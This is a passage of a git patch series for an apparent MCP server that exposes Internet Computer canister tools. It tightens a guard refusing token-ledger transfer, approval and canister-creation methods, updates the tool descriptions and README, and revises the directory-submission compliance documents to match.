entity/field names) and to canister_query (with the `oql` argument, to run the query). Those OQL reads REQUIRE `derivation_origin` — not `app_url` — and reject an anonymous read for now. No authenticated session required for open_app itself (no principal is derived here). Narrower tools remain for single steps: icp_find_app_by_name (name→URL only), resolve_app (origin only), discover_app_canisters (canisters only).", annotations(title = "Open an app (resolve origin + discover canisters)", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1057,7 +1057,7 @@ impl IcTools { } #[tool( - description = "Resolve an application URL to its Internet Identity derivation context, so you don't have to figure out the derivation origin yourself. `app_url` must be a URL you actually HAVE — from the user, from icp_find_app_by_name, or from a web search of the app's official site. NEVER guess or fabricate a domain from an app's name (when you only know a NAME, call icp_find_app_by_name first): a lookalike domain is an unrelated or squatted site, and this tool REFUSES to resolve an origin that shows no evidence of being an Internet Computer app rather than hand back a wrong identity. Returns the `application_origin`, the `derivation_origin` to pass to the identity tools, how it was determined (`derivation_origin_source`: \"declared\" — the app published it in /.well-known/ic-app.json, authoritative; \"known\" — from the connector's built-in registry of well-known custom-derivation-origin apps (e.g. NNS, Oisy, MULTI/DEX), used only when the app declares none; or \"app_url_default\" — the origin IS IC-served but declares nothing, so it was assumed to be its own derivation origin, correct only if the app has no custom one), and the app's `alternative_origins` (informational — the INVERSE relation, never use it to infer the derivation origin). This does NOT return a principal — it resolves the origin only, since you haven't picked an account; to get the principal you act as, pass the returned `derivation_origin` to get_app_principal (choosing an `account`) or list_app_accounts. Use this first when you only know an app's URL; no authenticated session is required.", + description = "Resolve an application URL to its Internet Identity derivation context, so you don't have to figure out the derivation origin yourself. `app_url` must be a URL you actually HAVE — from the user, from icp_find_app_by_name, or from a web search of the app's official site. NEVER guess or fabricate a domain from an app's name (when you only know a NAME, call icp_find_app_by_name first): a lookalike domain is an unrelated or squatted site, and this tool REFUSES to resolve an origin that shows no evidence of being an Internet Computer app rather than hand back a wrong identity. Returns the `application_origin`, the `derivation_origin` to pass to the identity tools, how it was determined (`derivation_origin_source`: \"declared\" — the app published it in /.well-known/ic-app.json, authoritative; \"known\" — from the connector's built-in registry of well-known custom-derivation-origin apps (e.g. NNS, Oisy), used only when the app declares none; or \"app_url_default\" — the origin IS IC-served but declares nothing, so it was assumed to be its own derivation origin, correct only if the app has no custom one), and the app's `alternative_origins` (informational — the INVERSE relation, never use it to infer the derivation origin). This does NOT return a principal — it resolves the origin only, since you haven't picked an account; to get the principal you act as, pass the returned `derivation_origin` to get_app_principal (choosing an `account`) or list_app_accounts. Use this first when you only know an app's URL; no authenticated session is required.", annotations(title = "Resolve an app's derivation origin", read_only_hint = true, destructive_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1226,7 +1226,7 @@ impl IcTools { } #[tool( - description = "Find a well-known Internet Computer APP by NAME and get its front-end URL and Internet Identity derivation origin — the missing name→app step (discovery otherwise needs a URL). ALWAYS call this FIRST when the user names an app and you don't have its URL — NEVER guess a domain from the name (lookalike domains like .com/.app are unrelated or squatted sites, and the URL-taking tools refuse origins with no IC evidence). Offline and instant. Covers only a small built-in set (NNS, Oisy, MULTI/DEX, ICPSwap). For ANY other app there is NO on-chain name→URL directory, so the result's `note` directs you to WEB SEARCH the app's official URL (or ask the user) and then use resolve_app / discover_app_canisters. Returns `matches` (each with `app_url` + `derivation_origin`) — usually one, or none. This is name→app; for a token/service→canister-id use icp_find_canister_by_name, and for a URL→canisters use discover_app_canisters.", + description = "Find a well-known Internet Computer APP by NAME and get its front-end URL and Internet Identity derivation origin — the missing name→app step (discovery otherwise needs a URL). ALWAYS call this FIRST when the user names an app and you don't have its URL — NEVER guess a domain from the name (lookalike domains like .com/.app are unrelated or squatted sites, and the URL-taking tools refuse origins with no IC evidence). Offline and instant. Covers only a small built-in set of well-known IC apps (e.g. NNS, Oisy). For ANY other app there is NO on-chain name→URL directory, so the result's `note` directs you to WEB SEARCH the app's official URL (or ask the user) and then use resolve_app / discover_app_canisters. Returns `matches` (each with `app_url` + `derivation_origin`) — usually one, or none. This is name→app; for a token/service→canister-id use icp_find_canister_by_name, and for a URL→canisters use discover_app_canisters.", annotations(title = "Find a well-known app by name", read_only_hint = true, destructive_hint = false, open_world_hint = false), output_schema = schema_for_output::(), )] @@ -1272,7 +1272,7 @@ impl IcTools { // ---- ICP skills awareness ---------------------------------------------- #[tool( - description = "List the official Internet Computer skills — authoritative how-to guides for authoring and shipping IC apps (Motoko language, mops/icp CLIs, cycles management, stable memory & upgrades, security, DeFi, auth, …). Returns each skill's name and a one-line description. Load a skill's full instructions with icp_get_skill(name). Consult these BEFORE writing Motoko/Rust canister code, building, or deploying.", + description = "List the official Internet Computer skills — authoritative how-to guides for authoring and shipping IC apps (Motoko language, mops/icp CLIs, cycles management, stable memory & upgrades, security, auth, …). Returns each skill's name and a one-line description. Load a skill's full instructions with icp_get_skill(name). Consult these BEFORE writing Motoko/Rust canister code, building, or deploying.", annotations(title = "List Internet Computer skills", read_only_hint = true, destructive_hint = false, open_world_hint = false), output_schema = schema_for_output::(), )] @@ -1958,8 +1958,15 @@ impl ServerHandler for IcTools { specific canister. Before writing Candid args, consult the `candid://textual-syntax` \ resource (the value syntax these tools use); `candid://reference` has the full type \ reference.\n\n\ + NOT FOR FINANCIAL OPERATIONS. This server does not initiate or execute financial \ + transactions — money or token transfers, spending approvals, payments, or trades — on \ + the user's behalf, for marketplace compliance and user safety: canister_update_call \ + refuses the ICRC-1/ICRC-2 (and related ledger-standard) transfer/approval methods, and \ + icp_top_up_canister only returns CLI instructions. When the user asks for such an \ + operation, recommend they do it themselves in a wallet or app frontend they control, \ + in their own browser — e.g. their wallet at https://oisy.com.\n\n\ START WITH open_app WHEN THE USER NAMES OR LINKS AN APP. `open_app(name-or-URL)` is the \ - one-call entry point: it takes an app NAME (e.g. \"MULTI/DEX\", \"Oisy\", \"NNS\") or a \ + one-call entry point: it takes an app NAME (e.g. \"Oisy\", \"NNS\") or a \ URL, resolves the Internet Identity derivation origin AND discovers the canisters \ together, probes the app's own canisters for their `oql`/`api_doc_available` \ capabilities, and repairs a wrong-TLD guess to the canonical known-app URL — so you do \ @@ -2038,7 +2045,7 @@ impl ServerHandler for IcTools { that way, ask the user to reconnect and choose \"Actions & questions\".\n\n\ Typical flow (acting FOR THE USER at an app): (0-2) `open_app(name-or-URL)` in ONE \ call gives the `derivation_origin` AND the app's canisters (with `oql`/`api_doc_available` \ - flags) — pass the NAME the user said (well-known apps NNS/Oisy/MULTI/DEX/ICPSwap resolve \ + flags) — pass the NAME the user said (well-known apps, e.g. NNS and Oisy, resolve \ offline) or a URL you have, NEVER a domain guessed from the name (there is no on-chain \ name→URL directory; `icp_find_canister_by_name` finds token/SNS canister ids, not \ front-ends). If you want just one part, `icp_find_app_by_name` does name→URL, \ diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index 28c02b4..e38bb9a 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -48,7 +48,7 @@ Verified against the live production deployment (2026-07-31): | Claude Code loopback redirects (RFC 8252) | ✅ loopback redirects are exempt from the hosted allow-list | | Discovery documents (RFC 8414 + RFC 9728, path-scoped + root fallback) | ✅ all four live, `WWW-Authenticate` on the 401 points at the resource metadata | | Every tool: `title` + `readOnlyHint`/`destructiveHint` (+ `idempotentHint`, `openWorldHint`) | ✅ on all 26 tools, enforced by a unit test ([`src/tools.rs`](../src/tools.rs)) | -| No catch-all read/write tool; reads and writes are separate tools | ✅ 17 read-only tools; writes split per operation | +| No catch-all read/write tool; reads and writes are separate tools | ✅ 18 read-only tools (incl. the instructions-only top-up); writes split per operation | | Tool names ≤ 64 chars | ✅ longest is 30 | | `outputSchema` + structured content on every tool | ✅ enforced by a unit test | | Certificates from a recognized authority | ✅ Let's Encrypt via Caddy | @@ -133,48 +133,69 @@ by the MCP server itself. The page and its route shipped in effective date agree. Then enter that URL in the portal. The reviewed source text is [`icp-mcp-privacy-policy-draft.md`](icp-mcp-privacy-policy-draft.md). -### 2. Financial-transactions policy (decision needed) +### 2. Financial-transactions policy (mitigations shipped; answer pending) The Directory Policy **prohibits connectors that transfer money, cryptocurrency, or other financial assets, or execute financial transactions**, and the portal's compliance step requires acknowledging this. -Three IMCP2 capabilities are exposed to that reading: -- `canister_update_call` can invoke arbitrary update methods as the user — - including ICRC ledger `transfer`/`approve` (i.e. token transfers). -- `icp_create_canister` / `icp_top_up_canister` with the `icp` argument - convert ICP from the user's ledger account via the CMC. +**Shipped (2026-08): the server's stated and enforced posture is that it is +not a financial tool.** + +- `icp_top_up_canister` is **instructions-only**: it executes nothing and + moves no funds — it returns the CLI steps for the user to run a top-up + themselves, and the server-side execution path (cycles-ledger `withdraw`, + CMC `notify_top_up`) is removed from the binary + ([#153](https://github.com/dfinity/imcp2/pull/153)). +- `canister_update_call` **refuses the standardized ledger methods** that + move value or grant spending rights — ICRC-1/ICRC-2 (plus ICRC-4/-7/-37), + the ICP ledger's legacy `transfer`/`send_dfx`, the cycles ledger's + `withdraw` — on every canister; the refusal recommends the user act + themselves in a wallet they control (oisy.com), and the tool description + states the policy up front + ([#154](https://github.com/dfinity/imcp2/pull/154)). +- The README, the landing page, and the server instructions all state + explicitly that the server is not intended for financial operations. + +**What honestly remains exposed to the prohibition** — keep both points in +whatever is declared: + +- `icp_create_canister` with the `icp` argument still executes an + ICP-ledger transfer (to the CMC, converting the user's own ICP into + compute for their own canister). Metered-compute funding rather than a + transfer to a third party — but it is a financial transaction the server + executes, and it needs an explicit decision before the box is checked. +- The method disallow list covers the **standardized ledger surface**, where + real funds overwhelmingly live; a bespoke canister can expose value-moving + methods under other names, which no name-based list can enumerate. Present + the posture as *stated policy + guardrail*, never as a hermetic technical + guarantee. **Status: asked.** The email to went out on 2026-07-31 and put **two** questions: whether cycles funding (including the ICP-conversion path) is acceptable, and whether the general-purpose `canister_update_call` passes review. Awaiting a reply; do not check the compliance boxes or submit until it lands, since a truthful acknowledgment -isn't possible without it. +isn't possible without it. (The `canister_update_call` mitigation that email +offered has since shipped as #154 — when replying, present it with the +guardrail caveat above, not as a complete control.) -Two things that email leaves open: - -- **The first-party-API acknowledgment was not asked about.** It needs its - own follow-up (see the data-handling draft below). -- **The mitigation it offers for `canister_update_call` — blocking the - well-known ledger `transfer`/`approve` methods — does not actually satisfy - the prohibition,** for the reason in option 2 below: the tool can reach a - custom ledger, or an intermediary canister that forwards a transfer. If the - reply takes that offer up, correct the record before shipping it; committing - to a bypassable control is worse than the current position. +One thing that email leaves open: **the first-party-API acknowledgment was +not asked about.** It needs its own follow-up (see the data-handling draft +below). Options, in increasing order of product impact, once the answer arrives: -1. **Proceed as-is** if cycles funding (compute-resource payment) and generic - update calls are cleared. -2. **Directory-safe profile.** Serve a restricted instance for the +1. **Proceed with the shipped posture** if the reviewers accept stated + policy + ledger-method guardrail, and cycles funding at creation + (compute-resource payment) is cleared. +2. **Directory-safe profile.** Serve a further-restricted instance for the directory, keeping the full server available as a custom connector at - another path. Note that a blocklist of known ledger canisters or transfer - methods is NOT sufficient: `canister_update_call` can reach any custom - ledger, or an intermediary canister that forwards a transfer. A profile - that actually satisfies the prohibition has to drop the generic update - tool and the `icp` conversion paths entirely, or restrict actions to a - reviewed allow-list of non-financial operations. + another path. To satisfy the strictest reading, such a profile drops the + generic update tool and `icp_create_canister`'s `icp` conversion path + entirely, or restricts actions to a reviewed allow-list of non-financial + operations — the shipped method blocklist alone does not get there, for + the guardrail reason above. 3. **Submit anyway**, arguing in the description that funds movement is gated by the explicit access-level choice on the II consent screen ("Questions only" vs "Actions & questions"). Only if the reply is inconclusive — the @@ -253,7 +274,9 @@ Paste-and-adapt; portal limits in parentheses. > or OQL, and discover the canisters behind any IC app from its name or URL. > With your consent it can also act as your Internet Identity accounts at a > specific app, and manage canisters you control: check status, create, - > install code, start/stop, and top up with cycles. + > install code, and start/stop. It is not a financial tool: token-ledger + > transfers and approvals are refused, and cycle top-ups return CLI + > instructions for you to run yourself instead of executing anything. > > On the Internet Identity consent screen you explicitly choose the session > duration (10 minutes to 30 days) and the access level: "Questions only" @@ -310,23 +333,29 @@ Paste-and-adapt; portal limits in parentheses. > Every read-only tool works with any identity, because it reads public > network state. > 2. On the consent screen pick a session duration and an access level: -> "Questions only" exercises the 17 read-only-annotated tools; "Actions & +> "Questions only" exercises the 18 read-only-annotated tools; "Actions & > questions" additionally allows state-changing calls. > 3. Try the example prompts above. Questions-only sessions cause management > tools to return an actionable reconnect message rather than an opaque > error — that behavior is intended. Access is revocable at any time at > https://id.ai/manage/settings. -> 4. The canister-management tools act on canisters you control and spend -> cycles, so a brand-new identity has nothing for them to operate on. Ask -> us at mcp@dfinity.org if you would like an identity provisioned with a -> canister and a cycles balance to exercise those. +> 4. The canister-management tools act on canisters you control and (for +> creation) spend cycles, so a brand-new identity has nothing for them to +> operate on. Ask us at mcp@dfinity.org if you would like an identity +> provisioned with a canister and a cycles balance to exercise those. +> 5. Financial operations are refused by design: asking the assistant to +> transfer tokens (e.g. call `icrc1_transfer`) returns a policy message +> directing the user to a wallet they control — that behavior is intended. ### The seven compliance acknowledgments Topics: directory guidelines, first-party API usage, financial transactions, AI media generation, prompt injection, conversation-data collection, public documentation. Two need resolution before the boxes can be checked -truthfully: **financial transactions** (blocker 2) and **first-party API +truthfully: **financial transactions** (blocker 2 — the ledger-method +refusals and the instructions-only top-up have shipped, but +`icp_create_canister`'s `icp` path and the guardrail caveat still need the +mcp-review answer or a deliberate decision) and **first-party API usage** — DFINITY operates the connector, but it reaches the network through DAO-governed infrastructure (`icp-api.io`, `id.ai`) and forwards user-directed calls to third-party application canisters, so "first-party" diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index 31f5b92..baee520 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -108,13 +108,25 @@ financial-transfers prohibition: canisters. - Commerce rules ("only for physical goods", no digital-goods selling, no embedded checkout) govern *selling through the app*; IMCP2 sells nothing. -- `canister_update_call` can still, in principle, reach token ledgers at the - user's direction. The description should say what the connector is - (infrastructure tooling) and what gates actions (explicit "Actions & - questions" opt-in, network-enforced), the same honesty posture as the - Anthropic submission. There is no published pre-submission contact at - OpenAI equivalent to mcp-review@anthropic.com; the attestations step is - where this is declared. +- The attestation "my plugin does not initiate or execute money transfers, + crypto transfers, or investment trades on behalf of users" is now + supported by shipped behavior: `canister_update_call` refuses the + standardized ledger transfer/approval methods (ICRC-1/ICRC-2 and related + standards, the ICP ledger's legacy `transfer`, the cycles ledger's + `withdraw`) on every canister and says so in its description + ([#154](https://github.com/dfinity/imcp2/pull/154)); `icp_top_up_canister` + is instructions-only and executes nothing + ([#153](https://github.com/dfinity/imcp2/pull/153)); README, landing page, + and server instructions state the server is not intended for financial + operations. Declare two caveats honestly at the attestations step: + `icp_create_canister`'s `icp` argument still executes an ICP→cycles + conversion from the user's own ledger account (metered compute funding + for the user's own canister — decide explicitly whether to keep, drop, or + restrict it before attesting), and the method-name guard covers the + standardized ledger surface rather than every bespoke canister. There is + no published pre-submission contact at OpenAI equivalent to + mcp-review@anthropic.com; the attestations step is where this is + declared. ### 4. Test cases (authoring work) @@ -140,6 +152,10 @@ Negative: explicit scheme matters: a bare `multidex.com` is deliberately treated as a wrong-TLD guess and *repaired* to the canonical URL rather than refused, so the bare form is not a negative case. +1a. "Send 1 ICP to " (or any `icrc1_transfer` / + `icrc2_approve` attempt via canister_update_call) → refused with the + financial-transactions policy message recommending a user-controlled + wallet (oisy.com); nothing is executed. 2. A management call on a "Questions only" session → actionable reconnect-with-actions message, not an opaque error. 3. Any authenticated tool with no sign-in → clean 401 → OAuth flow starts diff --git a/src/assets/index.html b/src/assets/index.html index 3718c48..9a6f56e 100644 --- a/src/assets/index.html +++ b/src/assets/index.html @@ -405,7 +405,7 @@ \ No newline at end of file From d9a0a33e185d960c302ba9fa677db4df6baa353a Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:02:57 +0000 Subject: [PATCH 03/22] Block cycles-ledger creation spends; scope the no-financial claim (review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Address the Copilot review on the ledger-method guard: - The cycles ledger's create_canister / create_canister_from draw cycles from the caller's balance through the exact generic route this guard closes (withdraw was already blocked for that reason), so they join the disallow list. Their refusal redirects to the purpose-built icp_create_canister tool (or the icp CLI) rather than to a wallet — creation stays supported, only the uncontrolled generic route closes. - The absolute 'this server does not move financial assets' wording in the tool description and the refusal message is scoped to 'this tool': precise on this branch standalone (icp_create_canister still funds at creation) and after the companion top-up change merges. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 2 +- crates/imcp2-core/src/compliance.rs | 47 +++++++++++++++++++++++------ crates/imcp2-core/src/tools.rs | 2 +- 3 files changed, 40 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index d31ca73..cc362ca 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ results). | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | | `canister_query` | `canister_id`, `method?` **or** `oql?`, `args?` (textual Candid), `derivation_origin?`, `account?`, `candid?` | READ a canister — provide EITHER a Candid `query` `method` (with `args`) OR an `oql` query (a JSON object string, run against `execute`). A Candid `method` query may be anonymous or as your account and returns textual Candid; an `oql` query **requires** `derivation_origin` and returns `columns` + `rows` (a table) with `has_more`, validating `start` against the schema on an empty result. On an OQL canister a Candid `method` query is rejected — use `oql`. `candid` is a fallback: the `.did` interface text to encode/decode against when the canister exposes no `candid:service` metadata. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | -| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: token-ledger transfer/approval methods (ICRC-1/ICRC-2 and related ICRC standards, the ICP ledger's legacy `transfer`, the cycles ledger's `withdraw`) are disallowed on every canister, for marketplace compliance and user safety — the refusal directs the user to act themselves in a wallet they control (e.g. [oisy.com](https://oisy.com)). `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | +| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: token-ledger transfer/approval methods (ICRC-1/ICRC-2 and related ICRC standards, the ICP ledger's legacy `transfer`, the cycles ledger's `withdraw` and `create_canister` spends) are disallowed on every canister, for marketplace compliance and user safety — the refusal directs the user to act themselves in a wallet they control (e.g. [oisy.com](https://oisy.com)), or to the dedicated `icp_create_canister` tool for canister creation. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | | `get_app_principal` | `derivation_origin`, `account?` | The principal you act as at an app, without a call. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`). Echoes `derived_for_origin` / `requested` so an origin mismatch is visible | | `list_app_accounts` | `derivation_origin` | The user's Internet Identity accounts at an app — the default account plus any named ones — with name, number, last-used, and the derivation origin they were listed for. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`) | | `resolve_app` | `app_url` | Resolve an app URL to its Internet Identity derivation context: `application_origin`, the `derivation_origin` to use (declared in `/.well-known/ic-app.json`, else a built-in known-app value, else assumed = app origin — flagged via `derivation_origin_source`: `declared`/`known`/`app_url_default`, with `application_is_ic` echoing the gateway evidence), and the app's `alternative_origins` (informational). An origin with **no IC evidence** that would need the `app_url_default` assumption is **refused** (guessed-domain guard, with a "did you mean" repair when the host resembles a well-known app). Does not return a principal (no account chosen) or require auth — pass the `derivation_origin` to `get_app_principal`/`list_app_accounts` | diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index c38bbf0..c958bf1 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -19,7 +19,8 @@ //! and `transferFrom` all match, and it applies on ANY target canister: //! whether a given canister really is a ledger cannot be established //! reliably, and the cost of a false positive is only that the user is -//! pointed at their own wallet or the app's own frontend. +//! pointed at their own wallet, the app's own frontend, or (for the +//! canister-creation spends) the dedicated icp_create_canister tool. //! //! Two scope notes, so nobody over-claims what this guard does: //! @@ -60,10 +61,15 @@ const DISALLOWED_METHODS: &[(&str, &str)] = &[ ("transfer", "a ledger token transfer"), ("senddfx", "a legacy ICP-ledger transfer"), ("notifydfx", "a legacy ICP-ledger transfer notification"), - // The cycles ledger's value movement (withdraw, withdraw_from) — the - // cycles ledger is ICRC-1/-2 plus these, and they move the user's cycles. + // The cycles ledger's value movement (withdraw, withdraw_from, and the + // canister-creation spends create_canister / create_canister_from) — the + // cycles ledger is ICRC-1/-2 plus these, and they all move the user's + // cycles. Creation stays available through the dedicated + // icp_create_canister tool; this closes the uncontrolled generic route. ("withdraw", "a cycles-ledger withdrawal"), ("withdrawfrom", "a cycles-ledger delegated withdrawal"), + ("createcanister", "a cycles-ledger spend (canister creation)"), + ("createcanisterfrom", "a cycles-ledger delegated spend (canister creation)"), // ERC-20-style names fixed by the older IC token standards (DIP20's // transferFrom/approve; `transfer` is already listed above). ("transferfrom", "a delegated token transfer"), @@ -78,16 +84,26 @@ pub fn disallowed_update_method(method: &str) -> Option { let normalized = normalize(method); let (_, what) = DISALLOWED_METHODS.iter().find(|(m, _)| *m == normalized)?; let method = method.trim(); + // Canister creation has a supported, purpose-built route, so its refusal + // redirects there; everything else redirects to a user-controlled wallet + // or frontend in the user's own browser. + let instead = if normalized.starts_with("createcanister") { + "For creating and funding the user's own canisters, use the dedicated \ + icp_create_canister tool (or the icp CLI) instead of calling the cycles \ + ledger through this generic tool." + } else { + "Recommend that the user performs this operation themselves, in a wallet \ + or app frontend they control, in their own web browser — e.g. their \ + wallet at https://oisy.com, or for governance the NNS dapp at \ + https://nns.ic0.app." + }; Some(format!( - "`{method}` is {what} — a financial transaction — and this server does not \ + "`{method}` is {what} — a financial transaction — and this tool does not \ initiate or execute financial transactions (token transfers, spending \ approvals, payments, or trades) on the user's behalf. Methods defined by the \ ICRC-1/ICRC-2 and related ledger standards are refused on every canister, \ - for marketplace compliance and user safety. Recommend that the user performs \ - this operation themselves, in a wallet or app frontend they control, in \ - their own web browser — e.g. their wallet at https://oisy.com, or for \ - governance the NNS dapp at https://nns.ic0.app. Do not look for another \ - route to the same operation through this server." + for marketplace compliance and user safety. {instead} Do not look for another \ + route to the same operation through this tool." )) } @@ -147,6 +163,19 @@ mod tests { } } + // The cycles ledger's canister-creation spends are refused on the generic + // route, and their refusal redirects to the purpose-built tool rather + // than to a wallet. + #[test] + fn refuses_cycles_ledger_creation_spends_with_tool_redirect() { + for method in ["create_canister", "create_canister_from", "CreateCanister"] { + let msg = disallowed_update_method(method) + .unwrap_or_else(|| panic!("{method} must be refused")); + assert!(msg.contains("icp_create_canister"), "{msg}"); + assert!(!msg.contains("oisy.com"), "creation redirects to the tool, not a wallet: {msg}"); + } + } + // Reads, fees, metadata, and the CMC recovery methods stay callable: the // guard matches exactly (normalized), never by substring, so a name that // merely CONTAINS a blocked one is not a false positive. diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index b9a7af4..4186943 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -432,7 +432,7 @@ impl IcTools { } #[tool( - description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. FINANCIAL TRANSACTIONS ARE NOT SUPPORTED: for marketplace compliance and user safety, this tool refuses token-ledger transfer and approval methods — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer — on every canister. This server does not move money, tokens, or other financial assets on the user's behalf; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", + description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. FINANCIAL TRANSACTIONS ARE NOT SUPPORTED: for marketplace compliance and user safety, this tool refuses token-ledger transfer and approval methods — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer — on every canister. This tool does not move money, tokens, or other financial assets on the user's behalf; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", annotations(title = "Make a canister update call", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] From 46cc3d6ffd7b26e5f373aeba0dafebcee18fbbe3 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:08:46 +0000 Subject: [PATCH 04/22] Use opencloud.org example; scope financial claims to enforcement (review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Address the reviews on the framing cleanup: - Per author feedback, Oisy (also a DeFi app) stops serving as the neutral usage example: name examples use NNS (the registry app that fits), and URL / bare-host examples use https://opencloud.org — live and IC-served (x-ic-canister-id present), so it passes the IC-evidence gate as documented. Oisy remains only where a wallet is genuinely meant: the refusal recommendation for financial operations. - The absolute 'never moves money or tokens' claims flagged by the review bot become enforcement-scoped statements: README, the landing trust card, and the server instructions now say token transfers, approvals, payments, and trades ARE REFUSED (via the update-call guard and the instructions-only top-up) and disclose that creating and funding the user's own canisters remains available through icp_create_canister. - The OpenAI submission doc presents the shipped changes as mitigations toward a still-pending attestation decision (the icp_create_canister funding path and the bespoke-method limitation are named as the open counterexamples), not as grounds to check the box. The Anthropic doc's 'shipped' section is phrased against the PR set (#153/#154) it describes rather than any single branch's tree. This PR is documentation/framing for the enforcement #153 and #154 ship; merge order remains #153, #154, then this. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 24 +++++++++--------- crates/imcp2-core/src/discover.rs | 3 ++- crates/imcp2-core/src/tools.rs | 27 ++++++++++---------- docs/anthropic-directory-submission.md | 9 ++++--- docs/openai-directory-submission.md | 34 ++++++++++++++------------ src/assets/index.html | 2 +- 6 files changed, 54 insertions(+), 45 deletions(-) diff --git a/README.md b/README.md index 81d5f4b..c35b221 100644 --- a/README.md +++ b/README.md @@ -9,13 +9,15 @@ encoding/decoding and signing against the IC via [official Rust SDK](https://github.com/modelcontextprotocol/rust-sdk) (`rmcp`). **Not for financial operations.** IMCP2 is infrastructure tooling for reading, -building, and operating canisters. It does **not** initiate or execute -financial transactions — money or token transfers, spending approvals, -payments, or trades — on the user's behalf: `canister_update_call` refuses the -ICRC-1/ICRC-2 (and related ledger-standard) transfer/approval methods, and -`icp_top_up_canister` returns CLI instructions instead of executing anything. -For financial operations, users act themselves in a wallet or frontend they -control (e.g. [oisy.com](https://oisy.com)), in their own browser. +building, and operating canisters — it is not a wallet or trading tool. Token +transfers, spending approvals, payments, and trades are refused: +`canister_update_call` rejects the ICRC-1/ICRC-2 (and related ledger-standard) +transfer/approval methods on every canister, and `icp_top_up_canister` returns +CLI instructions instead of executing anything. For those operations, users act +themselves in a wallet or frontend they control (e.g. +[oisy.com](https://oisy.com)), in their own browser. Creating and funding the +user's **own** canisters (compute resources) remains available through the +dedicated `icp_create_canister` tool. ## Use as a library @@ 